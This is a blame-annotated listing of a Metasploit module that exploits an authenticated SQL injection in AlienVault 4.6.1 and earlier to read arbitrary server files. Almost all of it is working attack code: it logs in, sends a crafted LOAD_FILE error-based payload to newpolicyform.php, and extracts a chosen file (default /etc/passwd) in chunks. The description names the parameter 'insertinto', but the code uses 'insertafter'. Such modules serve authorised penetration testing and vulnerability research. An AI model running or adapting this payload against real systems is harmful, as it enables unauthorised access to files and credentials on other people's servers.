2014-05-09 19:10:58 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2014-05-09 19:10:58 +00:00
|
|
|
## Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
###
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2014-05-09 19:10:58 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => "AlienVault Authenticated SQL Injection Arbitrary File Read",
|
|
|
|
'Description' => %q{
|
|
|
|
AlienVault 4.6.1 and below is susceptible to an authenticated SQL injection attack against
|
2014-09-19 19:43:35 +00:00
|
|
|
newpolicyform.php, using the 'insertinto' parameter. This module exploits the vulnerability
|
|
|
|
to read an arbitrary file from the file system. Any authenticated user is able to exploit
|
|
|
|
this, as administrator privileges are not required.
|
2014-05-09 19:10:58 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Chris Hebert <chrisdhebert[at]gmail.com>'
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
2016-07-15 17:00:31 +00:00
|
|
|
['OSVDB', '106815'],
|
2014-09-19 19:43:35 +00:00
|
|
|
['EDB', '33317'],
|
|
|
|
['URL', 'http://forums.alienvault.com/discussion/2690/security-advisories-v4-6-1-and-lower']
|
2014-05-09 19:10:58 +00:00
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'SSL' => true
|
|
|
|
},
|
|
|
|
'Privileged' => false,
|
2014-05-10 22:14:09 +00:00
|
|
|
'DisclosureDate' => "May 9 2014"))
|
2014-05-09 19:10:58 +00:00
|
|
|
|
2014-09-19 19:43:35 +00:00
|
|
|
register_options([
|
2014-05-09 19:10:58 +00:00
|
|
|
Opt::RPORT(443),
|
|
|
|
OptString.new('FILEPATH', [ true, 'Path to remote file', '/etc/passwd' ]),
|
|
|
|
OptString.new('USERNAME', [ true, 'Single username' ]),
|
|
|
|
OptString.new('PASSWORD', [ true, 'Single password' ]),
|
2014-09-19 20:00:54 +00:00
|
|
|
OptString.new('TARGETURI', [ true, 'Relative URI of installation', '/' ]),
|
|
|
|
OptInt.new('SQLI_TIMEOUT', [ true, 'Specify the maximum time to exploit the sqli (in seconds)', 60])
|
2014-05-09 19:10:58 +00:00
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
|
2016-02-01 22:06:34 +00:00
|
|
|
print_status("Get a valid session cookie...")
|
2014-05-09 19:10:58 +00:00
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php')
|
|
|
|
})
|
|
|
|
|
2014-09-19 19:43:35 +00:00
|
|
|
unless res && res.code == 200
|
2016-02-01 22:06:34 +00:00
|
|
|
print_error("Server did not respond in an expected way")
|
2014-05-09 19:10:58 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
cookie = res.get_cookies
|
|
|
|
|
|
|
|
if cookie.blank?
|
2016-02-01 22:06:34 +00:00
|
|
|
print_error("Could not retrieve a cookie")
|
2014-05-09 19:10:58 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
post = {
|
|
|
|
'embed' => '',
|
|
|
|
'bookmark_string' => '',
|
|
|
|
'user' => datastore['USERNAME'],
|
|
|
|
'passu' => datastore['PASSWORD'],
|
|
|
|
'pass' => Rex::Text.encode_base64(datastore['PASSWORD'])
|
|
|
|
}
|
|
|
|
|
2016-02-01 22:06:34 +00:00
|
|
|
print_status("Login...")
|
2014-05-09 19:10:58 +00:00
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php'),
|
|
|
|
'method' => 'POST',
|
|
|
|
'vars_post' => post,
|
|
|
|
'cookie' => cookie
|
|
|
|
})
|
|
|
|
|
2014-09-19 19:43:35 +00:00
|
|
|
unless res && res.code == 302
|
2016-02-01 22:06:34 +00:00
|
|
|
print_error("Server did not respond in an expected way")
|
2014-05-09 19:10:58 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
unless res.headers['Location'] && res.headers['Location'] == normalize_uri(target_uri.path, 'ossim/')
|
2016-02-01 22:06:34 +00:00
|
|
|
print_error("Authentication failed")
|
2014-05-09 19:10:58 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
cookie = res.get_cookies
|
|
|
|
|
|
|
|
if cookie.blank?
|
2016-02-01 22:06:34 +00:00
|
|
|
print_error("Could not retrieve the authenticated cookie")
|
2014-05-09 19:10:58 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
i = 0
|
|
|
|
full = ''
|
|
|
|
filename = datastore['FILEPATH'].unpack("H*")[0]
|
|
|
|
left_marker = Rex::Text.rand_text_alpha(6)
|
|
|
|
right_marker = Rex::Text.rand_text_alpha(6)
|
2014-05-11 00:19:40 +00:00
|
|
|
sql_true = Rex::Text.rand_text_alpha(6)
|
2014-09-05 01:46:37 +00:00
|
|
|
|
2016-02-01 22:06:34 +00:00
|
|
|
print_status("Exploiting SQLi...")
|
2014-05-09 19:10:58 +00:00
|
|
|
|
2014-09-19 20:00:54 +00:00
|
|
|
begin
|
|
|
|
::Timeout.timeout(datastore['SQLI_TIMEOUT']) do
|
|
|
|
loop do
|
|
|
|
file = sqli(left_marker, right_marker, sql_true, i, cookie, filename)
|
|
|
|
return if file.nil?
|
|
|
|
break if file.empty?
|
|
|
|
|
|
|
|
str = [file].pack("H*")
|
|
|
|
full << str
|
|
|
|
vprint_status(str)
|
|
|
|
|
|
|
|
i = i+1
|
|
|
|
end
|
|
|
|
end
|
|
|
|
rescue ::Timeout::Error
|
|
|
|
if full.blank?
|
2016-02-01 22:06:34 +00:00
|
|
|
print_error("Timeout while exploiting sqli, nothing recovered")
|
2014-09-19 20:00:54 +00:00
|
|
|
else
|
2016-02-01 22:06:34 +00:00
|
|
|
print_error("Timeout while exploiting sqli, #{full.length} bytes recovered")
|
2014-09-19 20:00:54 +00:00
|
|
|
end
|
|
|
|
return
|
2014-05-09 19:10:58 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
path = store_loot('alienvault.file', 'text/plain', datastore['RHOST'], full, datastore['FILEPATH'])
|
|
|
|
print_good("File stored at path: " + path)
|
|
|
|
end
|
|
|
|
|
2014-05-11 00:17:30 +00:00
|
|
|
def sqli(left_marker, right_marker, sql_true, i, cookie, filename)
|
2014-05-09 19:10:58 +00:00
|
|
|
pay = "X') AND (SELECT 1170 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},"
|
|
|
|
pay << "(SELECT MID((IFNULL(CAST(HEX(LOAD_FILE(0x#{filename})) AS CHAR),"
|
|
|
|
pay << "0x20)),#{(50*i)+1},50)),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS"
|
2014-05-11 00:17:30 +00:00
|
|
|
pay << " GROUP BY x)a) AND ('0x#{sql_true.unpack("H*")[0]}'='0x#{sql_true.unpack("H*")[0]}"
|
2014-05-09 19:10:58 +00:00
|
|
|
|
|
|
|
get = {
|
|
|
|
'insertafter' => pay,
|
2014-09-05 01:34:24 +00:00
|
|
|
'ctx' => 0
|
2014-05-09 19:10:58 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => normalize_uri(target_uri.path, 'ossim', 'policy', 'newpolicyform.php'),
|
|
|
|
'cookie' => cookie,
|
|
|
|
'vars_get' => get
|
|
|
|
})
|
|
|
|
|
2014-09-19 19:43:35 +00:00
|
|
|
if res && res.body && res.body =~ /#{left_marker}(.*)#{right_marker}/
|
2014-05-09 19:10:58 +00:00
|
|
|
return $1
|
|
|
|
else
|
|
|
|
print_error("Server did not respond in an expected way")
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|